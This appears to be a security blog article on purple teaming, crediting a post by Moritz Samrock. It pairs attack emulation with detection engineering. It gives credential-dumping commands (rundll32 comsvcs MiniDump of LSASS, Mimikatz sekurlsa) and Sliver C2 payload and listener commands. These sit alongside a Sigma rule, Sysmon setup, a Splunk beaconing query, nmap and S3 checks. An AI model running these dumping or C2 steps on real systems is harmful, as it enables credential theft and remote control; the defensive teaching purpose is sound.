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Introduction:
The traditional model of red teaming often concludes with a report that gathers digital dust, leaving organizations vulnerable to the very threats that were identified. Purple teaming bridges this gap by fostering continuous collaboration between offensive red teams and defensive blue teams, transforming one-off assessments into a cycle of persistent security improvement through adversary emulation and detection engineering.
Learning Objectives:
- Understand the core principles and workflow of advanced purple teaming.
- Learn to emulate specific adversary behaviors to proactively test defenses.
- Develop and deploy effective detection rules to identify malicious tradecraft.
- Integrate continuous attack surface monitoring into a security program.
You Should Know:
1. The Purple Team Workflow: Emulate, Detect, Improve
The cornerstone of purple teaming is a cyclical process. It begins with emulating a specific adversary technique, followed by collaborating with the blue team to develop and test detections, and culminates in hardening the environment based on the findings.
Command & Step-by-Step Guide: Emulating Credential Dumping with Mimikatz
Mimikatz is a classic tool for emulating credential dumping (T1003.001), a technique frequently used by adversaries to escalate privileges and move laterally.
Commands:
Dump LSASS process memory to a file for offline analysis (often less detected) C:> rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump <lsass_pid> lsass.dmp full Using Mimikatz to extract credentials from the dump file mimikatz sekurlsa::minidump lsass.dmp mimikatz sekurlsa::logonPasswords full
Step-by-Step Guide:
1. Acquire Mimikatz: Obtain the Mimikatz tool.
- Locate LSASS PID: Identify the Process ID (PID) of the LSASS process using Task Manager or the command
tasklist | findstr lsass. - Create Memory Dump: Use the `rundll32` command with the Comsvcs DLL to create a full dump of the LSASS process, replacing `
` with the actual PID. This creates a file called lsass.dmp. - Load Dump in Mimikatz: Open Mimikatz and use the `sekurlsa::minidump` command to load the dump file.
- Extract Passwords: Execute the `sekurlsa::logonPasswords` command to extract hashes and plaintext passwords from the memory dump. This emulates what an advanced attacker does to harvest credentials.
2. Building Detections: Hunting for LSASS Access
Once you’ve emulated the attack, the next step is to build a detection. Unusual access to the LSASS process is a high-fidelity signal for this activity.
Command & Step-by-Step Guide: Creating a Sigma Rule for LSASS Access
Sigma is a generic, open-source signature format for log events that can be converted into queries for your specific SIEM (e.g., Splunk, Elasticsearch).
Sigma Rule YAML:
title: LSASS Access via Unusual Process id: 12345678-1234-1234-1234-123456789012 status: experimental description: Detects a process that is not svchost.exe accessing LSASS, which is a common indicator of credential dumping. references: - https://attack.mitre.org/techniques/T1003/001/ author: Moritz Samrock date: 2024/11/28 logsource: category: process_access product: windows detection: selection: TargetImage|endswith: '\lsass.exe' CallTrace|contains: 'C:\Windows\system32\' filter: SourceImage|endswith: '\svchost.exe' condition: selection and not filter falsepositives: - Legitimate administration tools (e.g., ProcExplorer) level: high
Step-by-Step Guide:
- Understand the Logic: This rule triggers when a process accesses `lsass.exe` but is not the legitimate
svchost.exe. - Define Log Source: The `logsource` field specifies that this rule applies to Windows process access events, typically found in Windows Security logs (Event ID 4663 or Sysmon Event ID 10).
- Craft Detection Logic: The `selection` block looks for the target image being
lsass.exe. The `filter` block excludes the common sourcesvchost.exe. The `condition` is met when the selection is true and the filter is false. - Convert for your SIEM: Use a Sigma converter to translate this YAML into a query for your specific SIEM (e.g., Splunk SPL, Elasticsearch Query DSL).
- Test and Deploy: Test the rule in a lab environment against your emulated attack to validate it, then deploy it to production.
3. Leveraging Sysmon for Enhanced Visibility
Sysmon (System Monitor) provides detailed logging of system activity, which is crucial for building the detections used in purple teaming.
Command & Step-by-Step Guide: Installing and Configuring Sysmon
Sysmon must be deployed across your endpoints to generate the necessary logs for detection engineering.
Commands:
Install Sysmon with a standard configuration (e.g., SwiftOnSecurity's) C:> Sysmon.exe -i sysmonconfig-export.xml -accepteula Check if Sysmon is running correctly C:> Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 1
Step-by-Step Guide:
- Download Sysmon: Obtain Sysmon from the Microsoft Sysinternals website.
- Get a Configuration File: Download a robust configuration file, such as the one from SwiftOnSecurity or Olaf Hartong, which defines what events to log.
- Install: Run the install command from an elevated command prompt, pointing to your downloaded configuration XML file.
- Verify Installation: Use the `Get-WinEvent` PowerShell command to check the Sysmon operational log and confirm it’s generating events. This rich data source is the foundation for many advanced detection rules.
4. Emulating Command and Control (C2) with Sliver
Modern purple teams emulate modern adversaries, who use Command and Control (C2) frameworks. Sliver is a popular, open-source alternative to Cobalt Strike for emulation.
Command & Step-by-Step Guide: Generating a C2 Payload and Listener
A C2 framework allows an attacker to maintain persistent control over a compromised machine.
Sliver Commands:
Generate a Windows payload sliver > generate --mtls 192.168.1.100 --os windows --arch amd64 Start an mTLS listener sliver > mtls --lhost 192.168.1.100 List active sessions sliver > sessions
Step-by-Step Guide:
- Start Sliver Server: Launch the Sliver C2 server.
- Generate Payload: Use the `generate` command to create a Windows executable payload. The `–mtls` flag specifies the listener’s IP and protocol.
- Start Listener: Before executing the payload, start the corresponding listener (e.g.,
mtls) on the specified port. - Execute Payload: Run the generated payload on the target Windows system.
- Establish Session: If successful, a new session will appear in your Sliver console, emulating a compromised host beaconing back to its C2 server. This traffic can then be used to test network-based detections.
5. Developing Detections for C2 Traffic
C2 traffic often exhibits patterns like regular beaconing to a domain or IP. Catching this requires analyzing network flow data.
Command & Step-by-Step Guide: Creating a Splunk Query for Beaconing
This query helps identify hosts that are making periodic, consistent requests to an external IP, which is a hallmark of C2 beaconing.
Splunk SPL Query:
index=netfw sourcetype=stream:http | bin span=1m _time | stats dc(dest) as unique_dests, values(dest) as dest_list, count by src, _time | where unique_dests < 5 AND count > 50 | table _time, src, dest_list, count, unique_dests
Step-by-Step Guide:
- Identify Data Source: This query assumes you are ingesting HTTP proxy or firewall logs into Splunk.
- Group Events: The `bin` command groups events into 1-minute time spans.
- Calculate Statistics: The `stats` command calculates the number of unique destinations, lists them, and counts the total number of requests per source IP per minute.
- Filter for Beaconing: The `where` clause filters for sources communicating with very few destinations but with a high volume of requests, which is suspicious for beaconing.
- Review Results: Investigate the source IPs and destination lists that appear in the results to determine if they are legitimate (e.g., CDNs) or potential C2 traffic.
6. Continuous Monitoring with Attack Surface Management
Purple teaming is not a point-in-time exercise. Continuous Attack Surface Monitoring and Red Teaming (CASMART) represents the operationalization of this philosophy.
Command & Step-by-Step Guide: Using Nmap for Continuous Service Discovery
Regularly scanning your external and internal network perimeters is a key part of continuous monitoring.
Nmap Commands:
Basic service discovery scan $ nmap -sV -sC 192.168.1.0/24 Scan for specific high-risk services (e.g., RDP, SMB) $ nmap -p 3389,445,135,139 10.0.0.0/16 Output results to a file for diffing $ nmap -sV -oX scan_20241128.xml target.com
Step-by-Step Guide:
- Define Scope: Identify the IP ranges or domains you need to monitor (e.g., your public IP block, internal subnets).
- Choose Scan Type: Use `-sV` for version detection and `-sC` for default scripts. For breadth, scan common ports; for depth, scan all ports.
- Schedule Scans: Use a scheduler like cron (Linux) or Task Scheduler (Windows) to run these scans daily or weekly.
- Diff Results: Compare the output of the current scan with the previous one (using `diff` or specialized tools) to identify new, unexpected, or removed services.
- Automate Alerting: Integrate this process into a ticketing system or SIEM to automatically create alerts for new, potentially unauthorized services.
7. Hardening Cloud Infrastructure
The attack surface now heavily resides in the cloud. Emulating attacks and hardening configurations here is critical.
Command & Step-by-Step Guide: Auditing AWS S3 Bucket Permissions
Misconfigured S3 buckets are a common source of data breaches. Emulating an attacker checking for public buckets is a key purple team activity.
AWS CLI Commands:
List all S3 buckets in an account $ aws s3 ls Get the bucket policy for a specific bucket $ aws s3api get-bucket-policy --bucket my-bucket-name Check the bucket ACL (Access Control List) $ aws s3api get-bucket-acl --bucket my-bucket-name
Step-by-Step Guide:
- Authenticate: Ensure your AWS CLI is configured with credentials that have read permissions for S3.
- Enumerate: Use `aws s3 ls` to get a list of all buckets in the account.
- Inspect Policies: For each bucket, retrieve its policy and ACL. Look for dangerous principals like `”Principal”: “”` or `”Effect”: “Allow”` combined with anonymous actions.
- Emulate Public Access: Try to access a file in the bucket from an unauthenticated context (e.g., a private browser window) using its URL to confirm public read access.
- Implement Detections: Create CloudTrail alerts for `GetObject` events where the `userIdentity` is anonymous, or use AWS Config rules to continuously monitor for buckets that become publicly readable.
What Undercode Say:
- The paradigm is shifting from periodic, disruptive red team exercises to continuous, integrated purple teaming. This is the only sustainable model for defense against modern adversaries.
- The true value of an offensive security team is no longer just in finding flaws, but in its ability to directly engineer and validate the detections that will catch those flaws in the future, creating a tangible, lasting security uplift.
The era of the red team report as a final deliverable is ending. The post by Moritz Samrock highlights a fundamental evolution in cybersecurity: the move towards integrated, continuous security operations. The “CASMART” model—Continuous Attack Surface Monitoring and Red Teaming—isn’t just a service; it’s a philosophy. It acknowledges that security is a process, not a project. The most advanced organizations are those where red and blue teams are not siloed adversaries but collaborative partners in a never-ending cycle of emulation and hardening. The technical commands and detection strategies detailed here are the tangible artifacts of this new, more resilient approach to defense.
Prediction:
The adoption of continuous purple teaming and adversary emulation will become the baseline for mature security programs within the next 3-5 years. Organizations that fail to integrate these practices will face an exponentially growing defense gap, as manual, point-in-time assessments will be utterly incapable of keeping pace with the automated, persistent threats posed by AI-driven attacks and agile cybercriminal enterprises. The future belongs to the defenders who can operationalize offense.
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IT/Security Reporter URL:
Reported By: Moritzsamrock Eine – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
